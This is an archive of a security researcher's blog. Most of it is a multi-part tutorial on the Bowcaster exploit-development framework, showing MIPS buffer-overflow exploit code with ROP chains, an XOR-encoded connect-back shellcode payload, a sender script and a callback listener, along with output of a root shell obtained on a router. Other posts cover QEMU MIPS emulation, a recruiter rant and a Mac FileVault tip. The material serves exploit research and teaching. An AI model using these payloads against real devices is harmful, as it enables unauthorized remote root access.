Thursday, September 12, 2013

44CON Presentation - Additional Resources

Update December 2014: 44CON has posted the videos from all 2013 talks online. Unfortunately, they don't allow the videos to be embedded, so here's a link.

For my presentation at 44CON, entitled "Reversing and Exploiting BT CPE Devices", rather than have one or two or three slides packed with hard to read URLs, I included a single slide with a link to this post.  Here you'll find links to additional resources that I may have referenced in my talk.

White paper: Reverse Engineering and Exploiting the BT HomeHub 3.0b (pdf)

BT HomeHub 3.0b specifications
Here's a walkthrough I wrote on getting Debian MIPS Linux up and running in QEMU system emulation.  I use QEMU & Debian Linux to run and analyze binaries that I find in firmware.
QEMU/Debian MIPS Linux walkthrough

Often binaries found in firmware won't play nicely in emulation because they make a lot of assumptions about the underlying hardware which QEMU can't satisfy.  The most common case of this is an application querying NVRAM for configuration parameters.  Here's a library I wrote to intercept those queries and provide answers from an INI-style configuration file.
NVRAM "faker" library for use in emulation

Bowcaster is an exploit development API that I wrote to ease development of buffer overflow exploits.  It grew out of all the tools and techniques Craig Heffner and I developed for exploiting embedded devices.  It primarily targets MIPS Linux, since there support for that architecture was almost non-existent.  I plan to add support for other architectures as I have time.
Bowcaster

Here's my Github repository for proof-of-concept exploit code.  In it, you'll find the exploit code for the BT HomeHub 3.0b that I demoed at 44CON, among a few others.
Proof-of-Concept exploit code

I hope these resources are useful.  If you came to this article because you saw my 44CON talk and demo, I hope you enjoyed it!  Be sure to get in touch and share your thoughts!  Twitter or my email are best.

Twitter: @zcutlip
Email: uid000 at gmail

Cheers!
Zach

Monday, September 09, 2013

Insulting Recruiter Emails

Note: I have a great job at a company called Tactical Network Solutions, based in Columbia, MD.  I'm not looking for a new job.  That's not why I'm writing this post.  I have way too much fun working with crazy smart people right where I am.

I get a lot of recruiter email.  Some are very thoughtful and are for companies that would be very cool to work for.  I love those, and I want to high five those people for being such class acts.  I try to always send them a thoughtful response thanking them for thinking of me, but letting them know I'm fine where I am.

On the other hand, well, let's just say there are lots of big defense contractors looking for people to fill seats on their contracts.  Many of these messages are insulting in ways that are difficult to summarize, so I decided to blog a few in order to better describe them.

Here's one I received last week, with names sanitized out.  I've annotated it with footnotes for easier discussion

From: Brian A.
Sent: Friday, August 30, 2013 
Subject: Reverse Engineer / Vulnerability Researcher with XXXX 

Mr. Cutlip,

My name is Brian A. and I am an internal technical recruiter with XXXX Corporation[1].  We are one of the U.S. government's leading...[redacted].

We[2] have reviewed your resume and the experience outlined closely aligns with the caliber of talent that we are currently searching for to fill a critical role in support of our technical division.

If there is any interest in exploring this opportunity further, please fill out the attached skills matrix[3] and return it back to me no later than next Monday (2 Sep)[4] by COB.

I understand the tight deadline and apologize for it.  Your responsiveness will obviously reflect your level of interest[5].

The next step will likely be a technically-focused phone conversation next week.

If you have any questions please let me know. 

I hope to connect with you soon.

Respectfully, 

Brian A.

Sr. Technical Recruiter, Cyber[6]

First, this message, like many others, is really phoned in.  The recruiter makes no attempt to actually recruit by convincing me that his company would be a great one to work for where I would learn, have fun, work with smart people, change the world, and be part of a great culture.

Second, the tone of this message is corporate-ey recruiter-speak.  The types of messages that get my interest and entice me to respond are ones that are written the way I talk.  I'm a hacker.  I wear t-shirts and jeans.  I listen to trance and dubstep while I program.  I say "fuck" a lot, and so does our CEO.  Please talk to me like you get that and I'm the kind of person you're looking for.

But maybe they're not looking for someone who wears jeans and t-shirts and communicates thoughts built on scaffolds of profanity.  That's fine.  So lets talk about some specifics in the above message.

[1] I find this part funny because a company I used to work for was a subcontractor to XXXX Corporation.  I know firsthand that I'm not interested working there.  Also, they're known to try to poach people from their subcontractor partners, which I find hilarious.

[2] "We have reviewed your resume"?  Who is "we"?  This is oddly impersonal.  And where did you find said resume, because I certainly didn't send it to XXXX Corporation.

[3] Skills matrix? Are you fu...what the...omg.   Shoot me now.  Because I'd rather have a bullet to the head than have my professional essence distilled down into a chart full Xs and checkmarks.

[4] Seriously?  This was sent on Friday afternoon, and I was to send the completed "skills matrix" by Monday, which is Labor Day, when everyone in America is partying and drunk and no one is at work.  This message is obviously not targeted at people who already have a great job and are desirable and sought-after. It's aimed at people who are either out of work or whose job is so terrible they would have jumped ship already if only there were somewhere to jump.

[5] Well, good.  Since my level of interest is low this means I needn't respond.

[6] A Senior technical recruiter of "Cyber"? for Cyber? with Cyber?  People! "Cyber" is not a thing.  At best, it is a prefix and not a freestanding word.  Like cybernetics, or cyberspace.  If you're using "cyber-" in any way that isn't facetious I don't want to talk to you.  And really, you're best just leaving "cyber-" to William Gibson, whose book, Neuromancer, is probably the last known acceptable use of the prefix in popular culture.

Anyway, I didn't respond, because, as I mentioned, my interest was low.  But stay tuned for part deux, because a week after the deadline, I received a followup message from Brian.

Friday, May 31, 2013

Running Debian MIPS Linux in QEMU

Sometimes I need a MIPS Linux system that I can use for development and testing.  Maybe I need to test some shellcode or debug a binary I'm analyzing.  What I wish existed was a Raspberry Pi-like MIPS device.  I'd love to have a bunch of small, sub-$50 devices that I could network together as a sort of desktop exploit lab.  Unfortunately I don't know of such a device.  There is MIPS hardware you can get and install Linux on.  I have a Cobalt RAQ, and a lot of people like to get a hackable WiFi router and image it with OpenWRT.  But there's nothing as small, cheap and convenient as the RPi that is MIPS.

What some of us at Tactical Network Solutions use instead is the QEMU emulator running Debian MIPS Linux.  It works really well for most things, and isn't too bad to get set up.  You can apt-get install whatever utilities you want, including gcc, gdb, and other things.  This is a tutorial on getting Debian MIPS up and running in QEMU hosted on Ubuntu Linux.

Here are some details of my setup:

  • Ubuntu Linux 13.04 64-bit
  • Running in VMWare Fusion on OS X 10.8
  • Ubuntu's networked via VMWare's NAT interface
  • I export my workspace from my Mac to VMs via NFS

If your setup is different, hopefully this tutorial will still get you going.  I think as long as you're using Ubuntu underneath QEMU, you should be good.

Download, Patch, and Build QEMU


First we download and build QEMU from source.  There are a number of advantages for building from source vs. installing from Ubuntu's repositories.  Ubuntu's prebuilt QEMU is pretty dated.  Plus, we can ensure we get statically built QEMU binaries which are useful if you want to chroot into a firmware's filesystem and emulate a binary (I won't cover that in this tutorial).  There also is a bug in QEMU that we can easily patch before building.

Download the latest QEMU source tarball from http://wiki.qemu.org/Download.  I downloaded version 1.5.0.  I don't recommend checking out from the git repository since the development tree is likely to be unstable.

In order to build QEMU you need to install several dependencies:


# apt-get install autoconf automake libtool \
   zlib1g-dev libglib2.0-dev

Unpack the QEMU tarball and edit its Makefile.  We need to change the build for libpixman to ensure 'aclocal' gets run before libpixman is built (this wasn't neccesary for 1.4.0, but it is for 1.4.2 and 1.5.0.).  This step is necessary on Ubuntu but I'm not sure about other systems.

Look for the following part of QEMU's top-level Makefile:


pixman/Makefile: $(SRC_PATH)/pixman/configure
        (cd pixman; CFLAGS="$(CFLAGS) -fPIC $(extra_cflags) $(extra_ldflags)" $(SRC_PATH)/pixman/configure $(AUTOCONF_HOST) --disable-gtk --disable-shared --enable-static)

Change it to look like this:


pixman/Makefile: $(SRC_PATH)/pixman/configure
        (cd pixman; aclocal; CFLAGS="$(CFLAGS) -fPIC $(extra_cflags) $(extra_ldflags)" $(SRC_PATH)/pixman/configure $(AUTOCONF_HOST) --disable-gtk --disable-shared --enable-static)

Notice the addition of 'aclocal' after cd'ing into pixman/.  I wish I could explain what this fixes, but autoconf is voodoo, so that's not possible.  Anyway, I couldn't get QEMU to build without hacking the Makefile.

While we're hacking things up, let's edit the source file linux-user/elfload.c.  There's a bug in QEMU where the user-mode emulators will choke on binaries that have their section headers stripped.  Many firmware binaries do this to save space.  Since section headers don't get used by the elf loader, there's no need for QEMU to check them.  Thanks to Craig Heffner for this tip.  Find the following function and comment out the line shown:


static bool elf_check_ehdr(struct elfhdr *ehdr)
{
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
            //&& ehdr->e_shentsize == sizeof(struct elf_shdr)
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

With these two modifications in place, we can now build QEMU:

$ configure --static
$ make
# make install #as root


Download Debian QEMU Images


This is going to take a while.  Drink a few beers while it builds.  If you're building on a multiprocessor machine, you may need to drink a couple beers at once.  When it's all done, you'll have system and user-mode emulators for a ton of architectures including MIPS.

While the above is compiling and you're drinking your beers, you can also be downloading your Debian QEMU images.  You can get them from http://people.debian.org/~aurel32/qemu/.  The 'mips' directory is big endian MIPS and the 'mipsel' directory is little endian.  I downloaded both, and this tutorial assumes that's what you're doing as well.

The 2.6.32 kernel goes with the Debian Squeeze qcow image.  There's also an older kernel and a Debian Lenny image if you want that.  Sadly 2.6.32 and Squeeze are the newest AurĂ©lien has up.

I put my images in ~/debian-qemu/be and ~/debian-qemu/le.   Put them where you like, but be sure to adjust the scripts I provide accordingly.


Set up Bridged Networking


In order to have your QEMU systems bridged to Ubuntu's network, you'll need to do some additional setup.  There are some utilities you need to install:


# apt-get install uml-utilities bridge-utils

You need to add a group that will own the tap that will be used to bridge each QEMU system to Ubuntu's network.  Then add your user to that group.

# groupadd -r tuntap
# usermod -a -G tuntap zach

Log out and back in for group membership to take effect.

Here's what my /etc/network/interfaces file looks like:

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

#auto br0
iface br0 inet dhcp
 pre-up tunctl -t tap0 -g tuntap
 pre-up tunctl -t tap1 -g tuntap
 pre-up ip link set tap0 up
 pre-up ip link set tap1 up
 bridge_ports eth0 tap0 tap1
 bridge_stp off
 bridge_maxwait 0
 bridge_fd 0
 post-down ip link set tap0 down
 post-down ip link set tap1 down
 post-down tunctl -d tap0
 post-down tunctl -d tap1

iface eth1 inet dhcp

Here's the script for starting network bridge.  It gets called by the next script.

#!/bin/sh

sudo ifdown eth0
sudo ifup br0


Here's the script for starting QEMU systems:

#!/bin/sh

quit()
{
 ret=0
 if [ $# -gt 0 ];
 then
  ret=$1
  shift
 fi
 if [ $# -gt 0 ];
 then
  printf "$1\n"
  shift
 fi
 exit $ret
}

image=""
kernel=""
if [ "x$1" = "xle" ];
then
 qemu=qemu-system-mipsel
 image="$HOME/debian-qemu/le/debian_squeeze_mipsel_standard.qcow2"
 kernel="$HOME/debian-qemu/le/vmlinux-2.6.32-5-4kc-malta"
 iface=tap1
 # reset /etc/udev/rules.d/70-persistent-net.rules in qemu guest if you change mac addrs
 macaddr="52:54:00:12:34:XX"
elif [ "x$1" = "xbe" ];
then
 qemu=qemu-system-mips
 image="$HOME/debian-qemu/be/debian_squeeze_mips_standard.qcow2"
 kernel="$HOME/debian-qemu/be/vmlinux-2.6.32-5-4kc-malta"
 iface=tap0
 # reset /etc/udev/rules.d/70-persistent-net.rules in qemu guest if you change mac addrs
 macaddr="52:54:00:12:34:XX"
else
 quit 1 "Specify le or be endianness."
fi

echo "Stopping eth0, starting br0."

bridge.sh || quit 1 "Failed to start br0."

echo "Starting Debian system QEMU session."


$qemu -net nic,macaddr=$macaddr  -net tap,ifname=$iface,script=no,downscript=no -nographic -M malta -kernel $kernel -hda $image -append "root=/dev/sda1 console=tty0"


Booting and Configuring the QEMU Systems


Be sure to edit the MAC addresses in the script above.  They need to be different from one another if you want to run both the little endian and big endian systems at once.

If everything went right, you should be able to start up your QEMU systems:

$ debqemu.sh le

The 'le' argument starts the little endian system and the 'be' argument starts the big endian system.  Be sure to repeat the following customization for both systems.

Once the QEMU system has booted up, you should get a login prompt.  Log in as root with password 'root'.

Since your MAC addresses have changed, edit /etc/udev/rules.d/70-persistent-net.rules and remove entries for any ethernet devices.  Reboot now so they will be regenerated.  This will ensure networking is working properly, in case it isn't currently.

QEMU's console is very limiting, so you'll want to SSH in to do most of your work. You can install OpenSSH in your Debian system using apt:

# apt-get update
# apt-get install openssh-server

From a separate terminal, you should be able to SSH into the QEMU system as root.  You may want to use ssh-copy-id to copy your SSH key in.

At this point I like to set up NFS so I can mount my workspace inside the QEMU system.  That's pretty straightforward so I won't cover it here.

To shutdown your system you can  issue 'halt' or 'init 0', but it doesn't actually power off.  Instead it reboots.   When the kernel's boot messages are scrolling down the console is a good time to cut the power.  Interacting with QEMU's console is similar to using screen or minicom.  You exit using ctrl+a, x, and QEMU terminates.

I hope this is helpful.  Be sure to let me know if anything doesn't make sense or if you get hung up anywhere.

Friday, May 03, 2013

Is your Mac's File System Protected?

Nothing original here, but this is a great tip, so I want to share it.  Thanks to @thegrugq for cluing me into this via Twitter.

For everyone running OS X 10.7 or 10.8 on their Macs (and really, EVERYONE should be on 10.8; the security benefits are non-trivial) and are using FileVault 2 to encrypt your filesystems (you are, right?) here's a good tip I picked up the other day:

$ sudo pmset -a destroyfvkeyonstandby 1
$ sudo pmset -a hibernatemode 25

This has the effect of destroying the memory-resident FileVault encryption key, writing the contents of memory to disk, and removing power from RAM (i.e., hibernating).  Doing this will help protect your laptop from getting raped via FireWire DMA by your hotel's cleaning staff or by the Border Patrol.

A nice article on the topic:
http://www.frameloss.org/2011/09/18/firewire-attacks-against-mac-os-lion-filevault-2-encryption/

Tips via The Grugq:
http://twitter.com/thegrugq/status/329579397319360512
http://twitter.com/thegrugq/status/329579831496941568
http://twitter.com/thegrugq/status/329580468120993792

Thursday, April 25, 2013

Bowcaster's EmptyOverflowBuffer class (Tutorial Part 5)

In previous parts of the Bowcaster tutorial, I showed how to construct your buffer overflow using the OverflowBuffer class.  I also mentioned there is another class, EmptyOverflowBuffer, that I would explain later.  That class is going to be the topic of this post.

When I started development of Bowcaster, I created it for myself and for the way I develop exploits and think about buffer overflows.   The OverflowBuffer class works the way I think.  But when I talked to my colleague, Craig Heffner, about the project, Craig preferred a different API, I realized that we each think about the same problem in different ways.

Like I explained previously, the OverflowBuffer class lets you start with an exploit buffer of a prescribed length, filled with a non-repeating pattern.  You then start replacing parts of your buffer with things like ROP gadgets and shellcode.

Craig wanted an API that would start you with an zero length exploit buffer you could grow by appending ROP gadgets, strings and the like.  I couldn't reconcile this proposed API with what I had developed already because, at a fundamental level, we differ in how we visualize the exploit.

OverflowBuffer and EmptyOverflowBuffer each have their advantages.  OverflowBuffer allows the developer to add ROP gadgets and shellcode in an arbitrary order.  I like to visualize the sequence in which the ROP gadgets and shellcode will be executed, and add those pieces to the exploit buffer in that order.

If, on the other hand, you like to visualize the physical layout of your exploit buffer in memory, and want to add the pieces in that order, EmptyOveflowBuffer is probably for you.

Here's an example of creating an EmptyOverflowBuffer instance:


from bowcaster.development.overflowbuilder import EmptyOverflowBuffer
from bowcaster.common.support import LittleEndian

badchars=['\0',0x0d,'\n',0x20]
buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048)

With this class, we have no need for the SectionCreator object, since there is no notion of "replacement sections".  Also note the optional 'max_length' parameter.  Omitting this parameter will mean you can grow your exploit buffer to arbitrary length.  If you provide a maximum length, an exception is raised if adding a section would exceed the specified length.

There are three types of sections you can add: a string, a pattern section, or a ROP gadget.  You may add an arbitrary string using the add_string() method.  For example, you may want to append a long string of 'A's, or your shellcode string.

Adding a pattern section using add_pattern() creates pattern sequence of the specified length.  Note the start of the sequence is calibrated to the start of the overflow buffer and the current offset.  This means a given sub-sequence of the pattern will always be at the same offset into the buffer regardless what other sections came before it.

Here's an example of what I mean:

>>> buf1.add_pattern(8)
>>> buf1.add_pattern(12)
>>> print buf1
Aa0Aa1Aa2Aa3Aa4Aa5Aa

>>> buf2.add_pattern(6)
>>> buf2.add_string("A"*8)
>>> buf2.add_pattern(6)
>>> print buf2
Aa0Aa1AAAAAAAA4Aa5Aa

Above, two buffers are created of length 20.  The second one has a section of 8 'A's in the middle.  However, the sub-sequence 'a5Aa' is at the end of both.  This consistent sequence alignment helps with exploit debugging.

To add a ROP gadget, use the add_rop_gadget() method.  You can specify and optional 'base_address=' parameter if the base address for this gadget's library is different than the default base provided to the constructor.

Another thing to note about this API is that pattern sections are specified in terms of length, not offset.  The offset is implicit; it is simply the buffer's current length.  So if you know offsets into your buffer from where data will get loaded into various registers, you'll need to compute the length of the pattern filler's in between.

Here's an example:


#first function epilogue
ra=528

#second function epilogue
s0=620
s2=628

buf.add_pattern(ra) #$ra loaded from offset 528
buf.add_rop_gadget(0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")

buf.add_pattern(s0-buf.len())
buf.add_rop_gadget(0x506c0,
            description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")

buf.add_pattern(s2-buf.len())
buf.add_rop_gadget(0x427a4,
            description="[$s2] placeholder, derefed without crashing.")

In the example we know the offsets into the buffer from where $ra, $s0, and $s2 will get loaded.  We must specify filler patterns of the right length such that the ROP gadgets will land at the proper offsets and get loaded into the proper registers.  This differs from the combination of SectionCreator and OverflowBuffer where you don't specify filler sections at all (they are implicit) and instead specify ROP gadgets in terms of the offsets.

There is an advantage to this method.  This API only allows you to to append sections one after another, so there's no way to have overlapping sections.  As I explained previously, with OverflowBuffer, if any of the sections overlap, an exception is raised.

Adding a payload is essentially the same.  Create a payload object as before, then use add_string() to append the payload to your exploit buffer. Here's an example:


payload=ConnectbackPayload(CALLBACK_IP,LittleEndian)
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)

buf.add_pattern(shellcode_return-buf.len())
buf.add_string(encoded_payload.shellcode,
            description="encoded connect back payload")


The complete working example can be found in doc/examples/overflow_example_2.py in the Bowcaster source, or click here.

Monday, April 08, 2013

Buffer Overflows with Bowcaster Part 4

In part 1 of the Bowcaster tutorial I showed how to generate an overflow string with the OverflowBuffer class. In part 2, I showed how to populate your your overflow string with ROP gadgets. In part 3, I showed how to add Bowcaster's connect-back payload for MIPS Linux to your overflow string. I also showed how to encode your payload using Bowcaster's MIPS Linux-specific XOR encoder in order to sanitize restricted bytes.

Part 3 ended by using a netcat listener to serve a connect-back root shell.  In this part I'll show how to use one of Bowcaster's server modules to replace netcat.

Bowcaster provides a couple of server modules to receive connections from connect-back payloads.  The one we're interested in for this tutorial is imaginatively called ConnectbackServer.

Import it into your exploit code like so:


from bowcaster.servers.connectback_server import ConnectbackServer

In part 3, we create a payload object by first creating a ConnectbackHost object and passing it to ConnectbackPayload().  Creating the server works the same way.  Using the same host for both payload and server ensure the payload connects back to the right IP address and port.


connectback_host=ConnectbackHost(CALLBACK_IP) #default port is 8080
connectback_server=ConnectbackServer(connectback_host,startcmd="/bin/sh -i")
payload=ConnectbackPayload(connectback_host,LittleEndian)
#create string section from payload.shellcode,
#and instantiate buffer overflow
#See part 3.


The ConnectBack server class provides some features that you don't get with a simple netcat listener.  First, it gives you the ability to automatically execute a command on the target upon connection.  More on this in a bit.

More importantly, by forking into the background and operating asynchronously, ConnectbackServer gives you the ability to serve a connection right from your exploit script rather than having to fire up a listener in a separate session. For example:


#Start server
connectback_server.serve_connectback()

#Throw exploit
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((addr,port))
print("sending exploit.")
sock.send(str(buf))
sock.close()

#Wait for connect-back server to finish up.
connectback_server.wait()

Here it is in action:


zach@zolan:~/code/bowcaster/doc/examples (0) $ ./overflow_example_1.py 192.168.1.1 9999
 [@] bad char count: 4
 [@] No bad bytes in decoder stub.
 [@] length of encoded shellcode, including stub is: 304
 [@] Length of overflow: 1300
Listening on port 8080

Waiting for incoming connection.

sending exploit.
Target has phoned home.



BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /proc/version
cat /proc/version
Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#

Like I mentioned above, the ConnectbackServer class takes an optional 'startcmd' argument to its constructor.  This is useful in a few ways.  First, I like to use /bin/sh -i just because it looks nicer to have that familiar root '#'.  But you may want to issue a command to restart the exploited service, that way your target is automatically prepped for re-exploitation.

But, there's another optional argument to ConnectbackServer that, when combined with startcmd, is pretty cool.  You can optionally specify connectback_shell=False.  If you do this, then ConnectbackServer will not provide an interactive shell.  Instead it will send the start command if you provided one, and then immediately close the connection.  Why is this useful?  Say you wanted to exploit a list of ten targets and have them automatically prepped for interactive login whenever you're ready.  You could do:


server=ConnectbackServer(connectback_host,startcmd='/sbin/telnetd',connectback_shell=False)

By specifying startcmd='/bin/telnetd' and connectback_shell=False, you could have the target await your login via telnet at your convenience.

I hope this is useful.  Be sure to send me screenshots of some of your root prompts.

Crossbow is now Bowcaster

Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source, noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I left the original post as-is, save for an update note and a new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Here's the new Github project: https://github.com/zcutlip/bowcaster.git

I plan to update the existing tutorials accordingly, and hopefully get some new ones up in the next few days.

Thanks for your patience, and apologies the inconvenience.

Friday, March 29, 2013

Buffer Overflows with Bowcaster Part 3

This is the third part in a multi part tutorial on using the Bowcaster exploit development framework to build a buffer overflow exploit. Here are part 1 and part 2.

In the last part, we had built an exploit buffer and added a ROP chain that would flush the MIPS CPU cache, locate the stack (which is randomized), and return into it.  Now it's time to add a payload.

Bowcaster provides a few MIPS Linux payloads, and the one we'll use for this buffer overflow is the connect-back payload, which will yield an interactive shell.

In order to create a payload object, you must pass the constructor a ConnectbackHost object.  The host object is created from the IP address and TCP port you want your target to connect back to.  The "port=" parameter is optional and defaults to 8080.


from bowcaster.servers import ConnectbackHost

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080

Then you pass your host object to the constructor of the payload object:


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

In addition to the host object, the payload constructor requires an endianness parameter.

Payload objects have a shellcode attribute that you can use to create a string section.  Add the new string section to your list of replacement sections that will be passed into the OverflowBuffer constructor.  Here's an example, trimmed for brevity:



from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

section=SC.string_section(700,payload.shellcode,
            description="connect-back payload")
sections.append(section)
buf=OverflowBuffer(LittleEndian,1300,sections)


If you have a set of restricted bytes that you must avoid in your buffer overflow, you may want to use an encoder. You also will want to use an encoder if your connect-back address or port will contain nul bytes, such as 192.168.0.1. Bowcaster provides an XOR encoder that will attempt to encode your payload, sanitizing out your bad bytes.

Similar to normal payloads, encoded payloads have a shellcode attribute.  Below is the previous example, modified to encode the payload.


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

#XOR encode the payload.
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)
section=SC.string_section(700,encoded_payload.shellcode,
            description="encoded connect-back payload")
sections.append(section)

buf=OverflowBuffer(LittleEndian,1300,sections)


There are some important things to note about the encoder.  First, it only encodes your payload.  So if there are bad bytes in your ROP chain, there's nothing the encoder can do about that.  As I explained in the previous part, if you attempt to create a replacement section with SectionCreator that would have bad bytes, it'll let you know by raising an exception.  So at least there's that.

Also, the XOR encoder scans its decoder stub, which, of course, has to stay unencoded, for your bad bytes and will raise an exception if it fails that test.

Additionally, the XOR encoder takes an optional parameter, "key=", which needs to be a 4-byte integer.  If you provide this, the encoder will attempt to use that key to encode your payload.  If the key itself or the encoded payload contains any of your bad bytes, an exception is raised.  If you don't provide a key, it generates one randomly.  It will make a certain number of attempts[1] to generate a key and encode your payload without bad bytes.  If it exceeds the maximum number of attempts without a successful encode, an exception is raised.  This brute-force method is kind of a pain because it means sometimes the encode will be successful, other times it won't.  It may fail once, then succeed if you run it again.  Boo.  If you have just two or three bad bytes, the encode will almost always succeed. The more you have the less likely it will succeed.  Anyway, the encoder logs the key that it used.  If you find one that works, then save it and pass it to the constructor from then on to make sure your encode always works.

At this point you should have a complete, working buffer overflow exploit that will cause your target to connect back to the specified host and port.  You can accept the incoming connection with a traditional netcat listener:


zach@endor:/Volumes/Users/share/code/bowcaster (130) $ nc -l 8080
/bin/sh -i


BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

# cat /proc/version

Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#


In the next part, I'll show how to use one of the connect-back servers provided by Bowcaster in place of the netcat listener.

UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster
UPDATE 4/17/2013: Added explanation about payload and encoded payloads having a shellcode attribute.
--------------------
[1] I may make this tunable or self-tuning in the future. Not sure. Open to ideas on this.

Thursday, March 28, 2013

Buffer Overflows with Bowcaster Part 2

This is the second in a multi-part tutorial on developing a buffer overflow exploit using Bowcaster.  Here's Part 1.

In part 1, we had gotten a crash by sending a 2048-byte pattern to the vulnerable program.

The saved return address had been overwritten with 0x41367241 and restored to the $ra register.  That value is located at an offset of 528 in our overflow buffer.  Now we need to start describing ROP gadgets and substituting them for parts of the 2048-byte overflow string.

In order to start replacing parts of the overflow string, we need to create a list of replacement sections[1].  The easiest way to do that is to use the SectionCreator class.  This is essentially a factory that generates OverflowSection objects.

You need to know a couple of things in order to instantiate a SectionCreator object: the endianness (which we already identified as little endian), an optional base address of the library you want to ROP into, and an optional list of bad bytes.  If you provide the list of bad bytes, you'll get an exception if any of the overflow sections you create contain any of the restricted characters.

While the base address is an optional parameter to SectionCreator's constructor, I recommend providing the address of whatever library you're going to use most.  If you're using more than one library, you can override this setting at any time if to create a ROP object in another library.  Libc is often a good library to ROP into, and we can find its base address in /proc/<pid>/maps:

$ sudo cat /proc/6104/maps
00400000-00402000 r-xp 00000000 00:17 4833702    rootfs/vulnerable
00402000-00411000 ---p 00000000 00:00 0
00411000-00412000 rw-p 00001000 00:17 4833702    rootfs/vulnerable
...
4084a000-408a1000 r-xp 00000000 00:17 240427     rootfs/lib/libc.so.0
408a1000-408e1000 ---p 00000000 00:00 0
408e1000-408e2000 r--p 00057000 00:17 240427     rootfs/lib/libc.so.0
408e2000-408e3000 rw-p 00058000 00:17 240427     rootfs/lib/libc.so.0

The base address of libc is 0x4084a000.

The vulnerable function simply does a recv() into a buffer on the stack, so it doesn't actually have any restricted bytes.  But for the sake of example, we'll assume we can't use nul or space, 0x00, and 0x20, respectively.

A SectionCreator object is instantiated like so:


from bowcaster.overflow_development.overflowbuilder import SectionCreator

qemu_libc_base=0x4084a000
badchars=['\x00','\x20']
SC=SectionCreator(LittleEndian,base_address=qemu_libc_base,badchars=badchars)

Like I explained previously, we need to find the library addresses of our ROP gadgets manually or with other tools.  I use IDA Pro, but you can disassemble with objdump and do the same.

The first ROP gadget we need is a function epilogue that restores a bunch of the MIPS S registers from the stack.



The picture above is an epilogue at 0x31B44 in libc that restores $s0-$s7, plus $ra.  Who knows what this function is? Who cares?  IDA calls it sub_318DC.  Good enough.

We create a ROP gadget object for this address like so:


sections=[]
#function epilogue rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

The gadget_section() method takes a mandatory offset and and address value, and an optional description and optional base address.

The description is just a textual description of this overflow section.  It gets used in log output, exception messages etc, and helps you debug your exploit if things go wrong.  If you don't provide a description, a generic one gets generated.

This is where you can override the base address you specified earlier.  Say instead of a ROP gadget, you just want to put a placeholder on the stack that will avoid blowing up the program before the function returns.  Here you could provide the literal value to gadget_section() and override the base address with 0.  This value will get encoded with the proper endianness and placed in the buffer.

Keep adding to your list of sections, and then instantiate the OverflowBuffer object just like before, but this time pass the section is as the optional third parameter:


buf=OverflowBuffer(LittleEndian,2048,sections)

There are a couple of things to note about the OverflowBuffer class. First, when you create it with a list of sections, those sections replace portions of the filler pattern. The parts of the pattern that come before and after each section remain undisturbed so their offsets stay the same. Second, if any of the sections in your list overlap, OverflowBuffer will log an error message listing problem sections (this is where the optional description strings are useful), and it will raise an exception.

For example, I created a section of 8 "D"s at offset 500, and another section of 8 "A"s at offset 504.  They overlap by 4.  I got the following log output:

[!] Section "D's",
 offset: 500
 length: 8
 overlaps with the following sections:
[!] "A's overlapping with D's"
 offset: 504
 length: 8

With this gadget added, run your exploit once more and see what values get restored to the S registers and $ra. Like before, use find_offet() to figure out the offsets into your buffer where you'll need to place your gadgets such that they'll be loaded into the appropriate registers.

In order to get into the stack and start executing payload, we need a series of ROP gadgets that do the following:
  • Stage an argument to sleep() into $a0 (for data cache flushing; MIPS cache-coherency).
  • Return into libc's sleep()
  • Load some offset from $sp into an S register, thereby locating the stack.
  • Jump to the S register containing a stack address.
To give you a more complete picture of how to build your ROP chain, below is a listing of the gadgets I used for this exploit.


sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#Sleep arg 2 into $a0, stack data into $ra, then jalr $s0
section=SC.gadget_section(656,0x43880,
            description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1")
sections.append(section)

#address of sleep
section=SC.gadget_section(620,0x506c0,
            description="Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")
sections.append(section)

